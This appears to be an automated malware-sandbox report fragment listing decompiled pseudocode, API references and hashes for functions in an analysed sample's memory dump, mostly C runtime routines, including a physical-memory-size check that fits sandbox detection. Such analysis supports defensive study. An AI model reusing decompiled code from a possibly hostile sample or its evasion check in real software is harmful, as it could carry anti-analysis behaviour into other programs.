Instruction Fuzzy Hash: EDF0A472E01214BBDB219F519C42AAFB7B4DB48724F01056AE801A7341C635BE448698

Uniqueness

Uniqueness Score: -1.00%

Function 004BA349, Relevance: 4.6, APIs: 3, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E004BA349(void* __ebx, void* __edi, void* __esi) {
				signed int _v8;
				char _v264;
				char _v268;
				char _v272;
				void* __ebp;
				signed int _t10;
				void* _t14;
				signed int _t22;
				void* _t28;
				signed int _t36;
				signed int _t42;
				signed int _t44;
				signed int _t45;
				void* _t49;

				_t10 =  *0x4eb018; // 0x6027d6a0
				_v8 = _t10 ^ _t45;
				 *0x4eb464 =  *0x4eb464 | 0xffffffff;
				 *0x4eb458 =  *0x4eb458 | 0xffffffff;
				_t26 = "TZ";
				_t36 = 0;
				 *0x4eea10 = 0;
				_t14 = E004AC555(_t49,  &_v268,  &_v264, 0x100, "TZ");
				if(_t14 != 0) {
					__eflags = _t14 - 0x22;
					if(_t14 == 0x22) {
						_t44 = E004B3009(_t28, _v268);
						__eflags = _t44;
						if(__eflags != 0) {
							_t22 = E004AC555(__eflags,  &_v272, _t44, _v268, _t26);
							__eflags = _t22;
							if(_t22 == 0) {
								E004B2FCF(0);
								_t36 = _t44;
							} else {
								_push(_t44);
								goto L5;
							}
						} else {
							_push(0);
							L5:
							E004B2FCF();
						}
					}
				} else {
					_t36 =  &_v264;
				}
				asm("sbb esi, esi");
				_t42 =  ~(_t36 -  &_v264) & _t36;
				if(_t36 == 0 ||  *_t36 == 0) {
					E004BA1EE(_t26, _t36, _t42); // executed
				} else {
					_push(_t36);
					E004BA019(_t26, _t36, _t42);
				}
				E004B2FCF(_t42);
				return E0049CE1D(_v8 ^ _t45);
			}

0x004ba354
0x004ba35b
0x004ba35e
0x004ba36b
0x004ba375
0x004ba37a
0x004ba389
0x004ba390
0x004ba39a
0x004ba3a4
0x004ba3a7
0x004ba3b4
0x004ba3b7
0x004ba3b9
0x004ba3d2
0x004ba3da
0x004ba3dc
0x004ba3e2
0x004ba3e7
0x004ba3de
0x004ba3de
0x00000000
0x004ba3de
0x004ba3bb
0x004ba3bb
0x004ba3bc
0x004ba3bc
0x004ba3bc
0x004ba3e9
0x004ba39c
0x004ba39c
0x004ba39c
0x004ba3f6
0x004ba3f8
0x004ba3fc
0x004ba40c
0x004ba403
0x004ba403
0x004ba404
0x004ba409
0x004ba412
0x004ba428

APIs

_free.LIBCMT ref: 004BA3BC
_free.LIBCMT ref: 004BA412

Part of subcall function 004BA1EE: _free.LIBCMT ref: 004BA246
Part of subcall function 004BA1EE: GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,004078B0), ref: 004BA258

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: f0766efe5d0172bf6359540185a29b3e00efd60ac64b1790251426d7d52e640d
Instruction ID: e3eec0eb33b400744316c89813d9213bc2e7e4c022279863c91d4977750c02b7
Opcode Fuzzy Hash: f0766efe5d0172bf6359540185a29b3e00efd60ac64b1790251426d7d52e640d
Instruction Fuzzy Hash: 82213E32C0012897CB31A7259C85DEB7778CF41324F10076BF854A3192EF785E9195FA

Uniqueness

Uniqueness Score: -1.00%

Function 0042D212, Relevance: 4.5, APIs: 3, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E0042D212(intOrPtr* __edx, intOrPtr _a8) {
				signed int _v4;
				void* _v8;
				void* _v20;
				char _v24;
				char _v28;
				void* _t34;
				intOrPtr _t46;
				intOrPtr* _t53;
				intOrPtr* _t60;
				intOrPtr* _t61;
				void* _t63;
				void* _t64;
				intOrPtr* _t65;
				void* _t67;
				intOrPtr* _t68;
				intOrPtr* _t70;
				void* _t73;
				void* _t75;
				void* _t77;

				_t61 = __edx;
				_push(0x10);
				E0049D93F(0x4c4f82, _t63, _t67);
				_t46 = _a8;
				E00488DEA( &_v24, 0);
				_v4 = _v4 & 0x00000000;
				_t64 =  *0x4eeb50; // 0x14e2b00
				_v28 = _t64;
				_t68 = E0042B315(_t46, E0042B22E(0x4ed920, _t64, _t67, _t77));
				if(_t68 != 0) {
					L6:
					_v4 = _v4 | 0xffffffff;
					E00488E42( &_v24);
					return E0049D8E9(_t68, _t64, _t68);
				} else {
					if(_t64 == 0) {
						_push(_t46);
						_push( &_v28); // executed
						_t34 = E0042B4DD(_t64, _t68, __eflags);
						_pop(_t53);
						__eflags = _t34 - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_t73 = _t75;
							_push(_t53);
							_push(_t53);
							_push(_t68);
							_push(_t64);
							_t65 =  *((intOrPtr*)(_t73 + 8));
							_t70 =  *_t65 -  *_t61;
							__eflags = _t70;
							asm("sbb eax, [edx+0x4]");
							 *((intOrPtr*)(_t73 - 8)) = _t70;
							 *((intOrPtr*)(_t73 - 4)) =  *((intOrPtr*)(_t65 + 4));
							return E0042D2F2( *_t53, _t73 - 8, _t65);
						} else {
							_t68 = _v28;
							_v20 = 0;
							_v20 = _t68;
							_v4 = 1;
							E0048919D(_t68);
							 *((intOrPtr*)( *_t68 + 4))();
							 *0x4eeb50 = _t68;
							_v28 = 0;
							E0042FDE0( &_v20,  &_v28);
							_v4 = 0;
							_t60 = _v20;
							__eflags = _t60;
							if(_t60 != 0) {
								 *((intOrPtr*)( *_t60))(1);
							}
							goto L6;
						}
					} else {
						_t68 = _t64;
						goto L6;
					}
				}
			}

0x0042d212
0x0042d212
0x0042d219
0x0042d21e
0x0042d226
0x0042d22b
0x0042d234
0x0042d23a
0x0042d24a
0x0042d24e
0x0042d2ae
0x0042d2ae
0x0042d2b5
0x0042d2c1
0x0042d250
0x0042d252
0x0042d25b
0x0042d25c
0x0042d25d
0x0042d263
0x0042d264
0x0042d267
0x0042d2c2
0x0042d2c7
0x0042d2c9
0x0042d2cb
0x0042d2cc
0x0042d2cf
0x0042d2d0
0x0042d2d1
0x0042d2d7
0x0042d2d7
0x0042d2dc
0x0042d2e2
0x0042d2e5
0x0042d2f1
0x0042d269
0x0042d269
0x0042d26e
0x0042d271
0x0042d274
0x0042d279
0x0042d283
0x0042d289
0x0042d293
0x0042d297
0x0042d29e
0x0042d2a1
0x0042d2a4
0x0042d2a6
0x0042d2ac
0x0042d2ac
0x00000000
0x0042d2a6
0x0042d254
0x0042d254
0x00000000
0x0042d254
0x0042d252

APIs

__EH_prolog3_GS.LIBCMT ref: 0042D219
std::_Lockit::_Lockit.LIBCPMT ref: 0042D226

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Lockit::~_Lockit.LIBCPMT ref: 0042D2B5

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Lockitstd::_$H_prolog3_Lockit::_Lockit::~_
String ID:
API String ID: 1106374426-0
Opcode ID: 041bc34d15052334b855b5476a21381e8e99cda03f4cd0c4c7648dba14c78aa1
Instruction ID: b10816b20c4b7979c20d622172b586cac8cbf88f33b607c53ddd41a88e0d6d73
Opcode Fuzzy Hash: 041bc34d15052334b855b5476a21381e8e99cda03f4cd0c4c7648dba14c78aa1
Instruction Fuzzy Hash: 52F0E931F0021997CB00FF919852BBE7724EF40314F80051EE5505B2C2CF3C9E068798

Uniqueness

Uniqueness Score: -1.00%

Function 0043804F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0043804F(intOrPtr* __ecx, char* __edx, void* __esi) {
				signed int _v8;
				char _v28;
				intOrPtr _v32;
				char _v36;
				intOrPtr _v40;
				char _v44;
				signed int _t13;
				signed int _t14;
				intOrPtr _t16;
				intOrPtr _t29;
				intOrPtr* _t31;
				signed int _t32;
				void* _t34;

				_t28 = __edx;
				_t13 =  *0x4eb018; // 0x6027d6a0
				_t14 = _t13 ^ _t32;
				_t33 = _t14;
				_v8 = _t14;
				_t31 = __ecx;
				while(1) {
					E00434A0A( &_v36, _t28, _t33);
					_t29 =  *((intOrPtr*)(_t31 + 4));
					_t16 =  *_t31;
					_t34 = _v32 - _t29;
					if(_t34 > 0) {
						break;
					}
					if(_t34 < 0) {
						L4:
						_v44 = _t16 - _v36;
						asm("sbb edx, [ebp-0x1c]"); // 0x437aef
						_v40 = _t29;
						_t28 =  &_v44;
						E00438119( &_v28,  &_v44, _t33);
						E0048A14F( &_v28,  &_v44, _t31,  &_v28); // executed
						continue;
					} else {
						_t33 = _v36 - _t16;
						if(_v36 < _t16) {
							goto L4;
						}
					}
					break;
				}
				__eflags = _v8 ^ _t32;
				return E0049CE1D(_v8 ^ _t32);
			}

0x0043804f
0x00438055
0x0043805a
0x0043805a
0x0043805c
0x00438060
0x00438062
0x00438065
0x0043806a
0x0043806d
0x0043806f
0x00438072
0x00000000
0x00000000
0x00438074
0x0043807b
0x00438081
0x00438084
0x00438087
0x0043808a
0x0043808d
0x00438096
0x00000000
0x00438076
0x00438076
0x00438079
0x00000000
0x00000000
0x00438079
0x00000000
0x00438074
0x004380a1
0x004380aa

APIs

Part of subcall function 00434A0A: __alldvrm.LIBCMT ref: 00434A47
Part of subcall function 00434A0A: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00434A65

__Thrd_sleep.LIBCPMT ref: 00438096

Strings

zC, xrefs: 00438084

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Thrd_sleepUnothrow_t@std@@@__alldvrm__ehfuncinfo$??2@
String ID: zC
API String ID: 2244948955-3727955402
Opcode ID: 32297d2de020c3882b4c9e9223f48c4b7f161e92c82e66961db1cce230986b08
Instruction ID: 2e1f96f8df3219c6b1ffde2ac08e2d96f184b47fd7a7bc5b6b5bc153b1d90db2
Opcode Fuzzy Hash: 32297d2de020c3882b4c9e9223f48c4b7f161e92c82e66961db1cce230986b08
Instruction Fuzzy Hash: 6FF01931D002098BCF08EFA5C5818EEF7B4FB4C704F10552FE502A7241EAB86A49CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004385E5, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E004385E5(void* __edi, void* __esi) {
				signed int _v8;
				struct _MEMORYSTATUSEX _v72;
				signed int _t8;
				signed int _t21;
				intOrPtr _t24;

				_t8 =  *0x4eb018; // 0x6027d6a0
				_v8 = _t8 ^ _t21;
				E0049FB10(__edi,  &_v72, 0, 0x40);
				_v72.dwLength = 0x40;
				GlobalMemoryStatusEx( &_v72); // executed
				_t24 = _v72.ullAvailPhys;
				if(_t24 <= 0 && (_t24 < 0 || _v72.ullTotalPhys < 0x20000000)) {
				}
				return E0049CE1D(_v8 ^ _t21);
			}

0x004385eb
0x004385f2
0x004385ff
0x00438607
0x00438612
0x00438618
0x0043861b
0x0043861b
0x00438639

APIs

GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00438612

Strings

@, xrefs: 00438607

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: GlobalMemoryStatus
String ID: @
API String ID: 1890195054-2766056989
Opcode ID: 9b40e4c76074056e1fe06d2686baada3a744f24ee3108fe6066016e4794167ea
Instruction ID: 68cafc695cc66c111c17dc5b2250578afaeccfb7f8b4711f3a2e283074352f60
Opcode Fuzzy Hash: 9b40e4c76074056e1fe06d2686baada3a744f24ee3108fe6066016e4794167ea
Instruction Fuzzy Hash: 0DF05471D013189BDF14EBA5D946A9EB7B8EB44754F00016EF505A2140DA786A05CB9C

Uniqueness

Uniqueness Score: -1.00%

Function 004B6D93, Relevance: 3.2, APIs: 2, Instructions: 186
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E004B6D93(void* __ebx, void* __edi, void* __esi, signed int _a4, void* _a8, signed int _a12) {
				signed int _v8;
				long _v12;
				struct _OVERLAPPED* _v16;
				long _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				void* _v52;
				signed int _t62;
				intOrPtr _t66;
				signed char _t68;
				signed int _t69;
				signed int _t71;
				signed int _t73;
				signed int _t74;
				signed int _t77;
				intOrPtr _t79;
				signed int _t87;
				signed int _t90;
				signed int _t106;
				signed int _t107;
				signed int _t110;
				intOrPtr _t112;
				signed int _t117;
				signed int _t119;
				void* _t121;
				signed int _t124;
				signed int _t126;
				signed int _t128;
				void* _t129;

				_t62 =  *0x4eb018; // 0x6027d6a0
				_v8 = _t62 ^ _t128;
				_t110 = _a12;
				_v12 = _t110;
				_t124 = _a4;
				_t121 = _a8;
				_v52 = _t121;
				if(_t110 != 0) {
					__eflags = _t121;
					if(_t121 != 0) {
						_push(__ebx);
						_t106 = _t124 >> 6;
						_t119 = (_t124 & 0x0000003f) * 0x30;
						_v32 = _t106;
						_t66 =  *((intOrPtr*)(0x4ee718 + _t106 * 4));
						_v48 = _t66;
						_v28 = _t119;
						_t107 =  *((intOrPtr*)(_t66 + _t119 + 0x29));
						__eflags = _t107 - 2;
						if(_t107 == 2) {
							L6:
							_t68 =  !_t110;
							__eflags = _t68 & 0x00000001;
							if((_t68 & 0x00000001) != 0) {
								_t66 = _v48;
								L9:
								__eflags =  *(_t66 + _t119 + 0x28) & 0x00000020;
								if(__eflags != 0) {
									E004B907F(_t124, 0, 0, 2); // executed
									_t129 = _t129 + 0x10;
								}
								_t69 = E004B6938(_t107, _t119, __eflags, _t124);
								__eflags = _t69;
								if(_t69 == 0) {
									_t112 =  *((intOrPtr*)(0x4ee718 + _v32 * 4));
									_t71 = _v28;
									__eflags =  *(_t112 + _t71 + 0x28) & 0x00000080;
									if(( *(_t112 + _t71 + 0x28) & 0x00000080) == 0) {
										_v24 = 0;
										_v20 = 0;
										_v16 = 0;
										_t73 = WriteFile( *(_t112 + _t71 + 0x18), _t121, _v12,  &_v20, 0); // executed
										__eflags = _t73;
										if(_t73 == 0) {
											_v24 =  *0x4f0018();
										}
										goto L28;
									}
									_t87 = _t107;
									__eflags = _t87;
									if(_t87 == 0) {
										E004B69AE(_t107, _t121, _t124,  &_v24, _t124, _t121, _v12);
										goto L17;
									}
									_t90 = _t87 - 1;
									__eflags = _t90;
									if(_t90 == 0) {
										_t89 = E004B6B7B(_t107, _t121, _t124,  &_v24, _t124, _t121, _v12);
										goto L17;
									}
									__eflags = _t90 != 1;
									if(_t90 != 1) {
										goto L34;
									}
									_t89 = E004B6A8D(_t107, _t121, _t124,  &_v24, _t124, _t121, _v12);
									goto L17;
								} else {
									__eflags = _t107;
									if(_t107 == 0) {
										_t89 = E004B6718(_t107, _t121, _t124,  &_v24, _t124, _t121, _v12);
										L17:
										L15:
										L28:
										asm("movsd");
										asm("movsd");
										asm("movsd");
										_t74 = _v40;
										__eflags = _t74;
										if(_t74 != 0) {
											__eflags = _t74 - _v36;
											L40:
											L41:
											return E0049CE1D(_v8 ^ _t128);
										}
										_t77 = _v44;
										__eflags = _t77;
										if(_t77 == 0) {
											_t121 = _v52;
											L34:
											_t117 = _v28;
											_t79 =  *((intOrPtr*)(0x4ee718 + _v32 * 4));
											__eflags =  *(_t79 + _t117 + 0x28) & 0x00000040;
											if(( *(_t79 + _t117 + 0x28) & 0x00000040) == 0) {
												L37:
												 *((intOrPtr*)(E004A966E())) = 0x1c;
												_t81 = E004A965B();
												 *_t81 =  *_t81 & 0x00000000;
												__eflags =  *_t81;
												L38:
												goto L40;
											}
											__eflags =  *_t121 - 0x1a;
											if( *_t121 != 0x1a) {
												goto L37;
											}
											goto L40;
										}
										_t126 = 5;
										__eflags = _t77 - _t126;
										if(_t77 != _t126) {
											_t81 = E004A9638(_t77);
										} else {
											 *((intOrPtr*)(E004A966E())) = 9;
											 *(E004A965B()) = _t126;
										}
										goto L38;
									}
									__eflags = _t107 - 1 - 1;
									if(_t107 - 1 > 1) {
										goto L34;
									}
									E004B68CB( &_v24, _t121, _v12);
									goto L15;
								}
							}
							 *(E004A965B()) =  *_t97 & 0x00000000;
							 *((intOrPtr*)(E004A966E())) = 0x16;
							_t81 = E004A5E77();
							goto L38;
						}
						__eflags = _t107 - 1;
						if(_t107 != 1) {
							goto L9;
						}
						goto L6;
					}
					 *(E004A965B()) =  *_t99 & _t121;
					 *((intOrPtr*)(E004A966E())) = 0x16;
					E004A5E77();
					goto L41;
				}
				goto L41;
			}

0x004b6d9b
0x004b6da2
0x004b6da5
0x004b6da8
0x004b6dac
0x004b6db0
0x004b6db3
0x004b6db8
0x004b6dc1
0x004b6dc3
0x004b6de4
0x004b6de9
0x004b6def
0x004b6df2
0x004b6df5
0x004b6dfc
0x004b6dff
0x004b6e02
0x004b6e06
0x004b6e09
0x004b6e10
0x004b6e12
0x004b6e14
0x004b6e16
0x004b6e35
0x004b6e38
0x004b6e38
0x004b6e3d
0x004b6e46
0x004b6e4b
0x004b6e4b
0x004b6e4f
0x004b6e55
0x004b6e57
0x004b6e95
0x004b6e9c
0x004b6e9f
0x004b6ea4
0x004b6ef3
0x004b6ef6
0x004b6ef9
0x004b6f05
0x004b6f0b
0x004b6f0d
0x004b6f15
0x004b6f15
0x00000000
0x004b6f18
0x004b6ea9
0x004b6ea9
0x004b6eac
0x004b6ee5
0x00000000
0x004b6ee5
0x004b6eae
0x004b6eae
0x004b6eb1
0x004b6ed5
0x00000000
0x004b6ed5
0x004b6eb3
0x004b6eb6
0x00000000
0x00000000
0x004b6ec5
0x00000000
0x004b6e59
0x004b6e59
0x004b6e5b
0x004b6e88
0x004b6e8d
0x004b6e78
0x004b6f1b
0x004b6f1e
0x004b6f1f
0x004b6f20
0x004b6f21
0x004b6f24
0x004b6f26
0x004b6f8b
0x004b6f8e
0x004b6f8f
0x004b6f9e
0x004b6f9e
0x004b6f28
0x004b6f2b
0x004b6f2d
0x004b6f53
0x004b6f56
0x004b6f59
0x004b6f5c
0x004b6f63
0x004b6f68
0x004b6f73
0x004b6f78
0x004b6f7e
0x004b6f83
0x004b6f83
0x004b6f86
0x00000000
0x004b6f86
0x004b6f6a
0x004b6f6d
0x00000000
0x00000000
0x00000000
0x004b6f6f
0x004b6f31
0x004b6f32
0x004b6f34
0x004b6f4b
0x004b6f36
0x004b6f3b
0x004b6f46
0x004b6f46
0x00000000
0x004b6f34
0x004b6e5f
0x004b6e62
0x00000000
0x00000000
0x004b6e70
0x00000000
0x004b6e75
0x004b6e57
0x004b6e1d
0x004b6e25
0x004b6e2b
0x00000000
0x004b6e2b
0x004b6e0b
0x004b6e0e
0x00000000
0x00000000
0x00000000
0x004b6e0e
0x004b6dca
0x004b6dd1
0x004b6dd7
0x00000000
0x004b6ddc
0x00000000

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e54255b557081cf236728db427bbf9409f3876fa80b2d3fbae7cb8af677069f
Instruction ID: c6ff521e39fab48017386494f0ccc93667d222964966a86b9210597ca33a3230
Opcode Fuzzy Hash: 3e54255b557081cf236728db427bbf9409f3876fa80b2d3fbae7cb8af677069f
Instruction Fuzzy Hash: D451CF71A00209ABDF119FA9D845EFF7BB8AF1A314F12015BF404A7292D73C9902CB79

Uniqueness

Uniqueness Score: -1.00%

Function 0042B15C, Relevance: 3.1, APIs: 2, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0042B15C() {
				signed int _v8;
				char _v16;
				intOrPtr _v20;
				void* __ecx;
				signed int _t32;
				void* _t36;
				intOrPtr _t46;
				intOrPtr _t58;
				signed int _t60;

				_push(0xffffffff);
				_push(0x4c4ab7);
				_push( *[fs:0x0]);
				_push(_t46);
				_t32 =  *0x4eb018; // 0x6027d6a0
				_push(_t32 ^ _t60);
				 *[fs:0x0] =  &_v16;
				_t58 = _t46;
				_v20 = _t58;
				_v8 = 6;
				E0048931A(_t58); // executed
				_v8 = 5;
				if( *((intOrPtr*)(_t58 + 0x2c)) != 0) {
					L004A5B7B( *((intOrPtr*)(_t58 + 0x2c)));
				}
				 *((intOrPtr*)(_t58 + 0x2c)) = 0;
				_v8 = 4;
				if( *((intOrPtr*)(_t58 + 0x24)) != 0) {
					L004A5B7B( *((intOrPtr*)(_t58 + 0x24)));
				}
				 *((intOrPtr*)(_t58 + 0x24)) = 0;
				_v8 = 3;
				if( *((intOrPtr*)(_t58 + 0x1c)) != 0) {
					L004A5B7B( *((intOrPtr*)(_t58 + 0x1c)));
				}
				 *((intOrPtr*)(_t58 + 0x1c)) = 0;
				_v8 = 2;
				if( *((intOrPtr*)(_t58 + 0x14)) != 0) {
					L004A5B7B( *((intOrPtr*)(_t58 + 0x14)));
				}
				 *((intOrPtr*)(_t58 + 0x14)) = 0;
				_v8 = 1;
				if( *((intOrPtr*)(_t58 + 0xc)) != 0) {
					L004A5B7B( *((intOrPtr*)(_t58 + 0xc)));
				}
				 *((intOrPtr*)(_t58 + 0xc)) = 0;
				_v8 = 0;
				if( *((intOrPtr*)(_t58 + 4)) != 0) {
					L004A5B7B( *((intOrPtr*)(_t58 + 4)));
				}
				 *((intOrPtr*)(_t58 + 4)) = 0;
				_v8 = _v8 | 0xffffffff;
				_t36 = E00488E42(_t58);
				 *[fs:0x0] = _v16;
				return _t36;
			}

0x0042b15f
0x0042b161
0x0042b16c
0x0042b16d
0x0042b170
0x0042b177
0x0042b17b
0x0042b181
0x0042b183
0x0042b186
0x0042b18e
0x0042b194
0x0042b19c
0x0042b1a1
0x0042b1a6
0x0042b1a9
0x0042b1ac
0x0042b1b3
0x0042b1b8
0x0042b1bd
0x0042b1be
0x0042b1c1
0x0042b1c8
0x0042b1cd
0x0042b1d2
0x0042b1d3
0x0042b1d6
0x0042b1dd
0x0042b1e2
0x0042b1e7
0x0042b1e8
0x0042b1eb
0x0042b1f2
0x0042b1f7
0x0042b1fc
0x0042b1fd
0x0042b200
0x0042b206
0x0042b20b
0x0042b210
0x0042b211
0x0042b214
0x0042b21a
0x0042b222
0x0042b22d

APIs

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0042B18E
std::_Lockit::~_Lockit.LIBCPMT ref: 0042B21A

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Locinfo::_Locinfo_dtorLockitLockit::~_
String ID:
API String ID: 3286764726-0
Opcode ID: 6872e3fba9253834f1ff54228b39b3e0805d7664d63717d9433000f69ea28b64
Instruction ID: e0a999df1532b4eff120b3d55a41a7eadebf3282487a9f327756634a18ec5111
Opcode Fuzzy Hash: 6872e3fba9253834f1ff54228b39b3e0805d7664d63717d9433000f69ea28b64
Instruction Fuzzy Hash: 29219E71805B40DFCB319F59EA41B5AFBF0FB09714F10866FE05A92691C7786A04CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0043845F, Relevance: 3.1, APIs: 2, Instructions: 55
timeCOMMON

Download Yara Rule

C-Code - Quality: 36%

			E0043845F(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _v8;
				intOrPtr _v12;
				union _LARGE_INTEGER _v16;
				signed int _t6;
				struct %anon52 _t8;
				int _t13;
				intOrPtr _t23;
				void* _t25;
				signed int _t29;

				_t23 = __edx;
				_t6 =  *0x4eb018; // 0x6027d6a0
				_v8 = _t6 ^ _t29;
				_t8 = E0049D9F0(__ecx, 0, 0xffffd8f0, 0xffffffff);
				_v16.LowPart = _t8;
				_v12 = _t23;
				_t25 =  *0x4f0060(0, 1, 0);
				if(_t25 != 0) {
					_t13 = SetWaitableTimer(_t25,  &_v16, 0, 0, 0, 0); // executed
					if(_t13 != 0) {
						 *0x4f007c(_t25, 0xffffffff);
						_t28 =  !=  ? 1 : 0;
						_t19 =  !=  ? 1 : 0;
					}
					 *0x4f0090(_t25);
					FindCloseChangeNotification(_t25); // executed
				}
				return E0049CE1D(_v8 ^ _t29);
			}

0x0043845f
0x00438465
0x0043846c
0x0043847d
0x00438485
0x00438489
0x00438494
0x00438498
0x004384a3
0x004384ab
0x004384b0
0x004384b8
0x004384bb
0x004384bb
0x004384be
0x004384c5
0x004384c5
0x004384db

APIs

SetWaitableTimer.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,?,00000000,FFFFD8F0,000000FF), ref: 004384A3
FindCloseChangeNotification.KERNEL32(00000000,?,00000000,FFFFD8F0,000000FF), ref: 004384C5

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ChangeCloseFindNotificationTimerWaitable
String ID:
API String ID: 3672239175-0
Opcode ID: 9cc8cbb757cc833fac1f7689e5b2e4045e6e0ec8eef504e644c488d7584c5a4f
Instruction ID: ccdbea19d5adb761a416066da79bc503bf1a9718c9730a1b64be876da7f10e42
Opcode Fuzzy Hash: 9cc8cbb757cc833fac1f7689e5b2e4045e6e0ec8eef504e644c488d7584c5a4f
Instruction Fuzzy Hash: 09017571601214BF87115F7A6C88E7FBFBCEECA660710423DF415D2251DE348900C6A8

Uniqueness

Uniqueness Score: -1.00%

Function 004AAF22, Relevance: 3.1, APIs: 2, Instructions: 54
threadCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E004AAF22(void* __ecx, struct _SECURITY_ATTRIBUTES* _a4, long _a8, intOrPtr _a12, intOrPtr _a16, long _a20, intOrPtr* _a24) {
				void* _v5;
				long _v12;
				void* _t15;
				intOrPtr* _t26;
				void* _t29;
				void* _t32;

				_push(__ecx);
				_push(__ecx);
				if(_a12 != 0) {
					_t32 = E004AAED9(__ecx, _a12, _a16);
					if(_t32 == 0) {
						L5:
						_t29 = 0;
						L6:
						E004AAE4B(_t32);
						return _t29;
					}
					_t15 = CreateThread(_a4, _a8, E004AADCE, _t32, _a20,  &_v12); // executed
					_t29 = _t15;
					if(_t29 != 0) {
						_t26 = _a24;
						if(_t26 != 0) {
							 *_t26 = _v12;
						}
						_t32 = 0;
						goto L6;
					}
					E004A9638( *0x4f0018());
					goto L5;
				}
				 *((intOrPtr*)(E004A966E())) = 0x16;
				E004A5E77();
				return 0;
			}

0x004aaf27
0x004aaf28
0x004aaf2d
0x004aaf50
0x004aaf56
0x004aaf84
0x004aaf84
0x004aaf86
0x004aaf8a
0x00000000
0x004aaf92
0x004aaf6b
0x004aaf71
0x004aaf75
0x004aaf97
0x004aaf9c
0x004aafa1
0x004aafa1
0x004aafa3
0x00000000
0x004aafa3
0x004aaf7e
0x00000000
0x004aaf83
0x004aaf34
0x004aaf3a
0x00000000

APIs

CreateThread.KERNEL32(?,?,Function_000AADCE,00000000,?,?), ref: 004AAF6B
__dosmaperr.LIBCMT ref: 004AAF7E

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateThread__dosmaperr
String ID:
API String ID: 1062976647-0
Opcode ID: 479a5b1b6d2037a72761af19e69e0e9cad5f77fad325084e61f3f56302ac4eb1
Instruction ID: 64dabecf15abf50e1c0b97aa783f84f46e0c006714f0febc9dc49da3f110676e
Opcode Fuzzy Hash: 479a5b1b6d2037a72761af19e69e0e9cad5f77fad325084e61f3f56302ac4eb1
Instruction Fuzzy Hash: C801D876504109AFCB299FA2DC05DEF7B69EFA6320F00016AFC0587210DB398D31D7AA

Uniqueness

Uniqueness Score: -1.00%

Function 004B8FE6, Relevance: 3.0, APIs: 2, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E004B8FE6(void* __ecx, void* __eflags, signed int _a4, union _LARGE_INTEGER _a8, union _LARGE_INTEGER* _a12, intOrPtr _a16) {
				signed int _v8;
				void* _v12;
				void* _t15;
				int _t16;
				signed int _t19;
				signed int _t32;
				signed int _t33;
				signed int _t36;

				_t36 = _a4;
				_push(_t32);
				_t15 = E004BCD74(_t36);
				_t33 = _t32 | 0xffffffff;
				if(_t15 != _t33) {
					_push(_a16);
					_t16 = SetFilePointerEx(_t15, _a8, _a12,  &_v12); // executed
					if(_t16 != 0) {
						if((_v12 & _v8) == _t33) {
							goto L2;
						} else {
							_t19 = _v12;
							_t39 = (_t36 & 0x0000003f) * 0x30;
							 *( *((intOrPtr*)(0x4ee718 + (_t36 >> 6) * 4)) + _t39 + 0x28) =  *( *((intOrPtr*)(0x4ee718 + (_t36 >> 6) * 4)) + 0x28 + (_t36 & 0x0000003f) * 0x30) & 0x000000fd;
						}
					} else {
						E004A9638( *0x4f0018());
						goto L2;
					}
				} else {
					 *((intOrPtr*)(E004A966E())) = 9;
					L2:
					_t19 = _t33;
				}
				return _t19;
			}

0x004b8fee
0x004b8ff1
0x004b8ff3
0x004b8ff8
0x004b8ffe
0x004b9011
0x004b901f
0x004b9027
0x004b9042
0x00000000
0x004b9044
0x004b9044
0x004b904f
0x004b9059
0x004b9059
0x004b9029
0x004b9030
0x00000000
0x004b9035
0x004b9000
0x004b9005
0x004b900b
0x004b900b
0x004b900d
0x004b9063

APIs

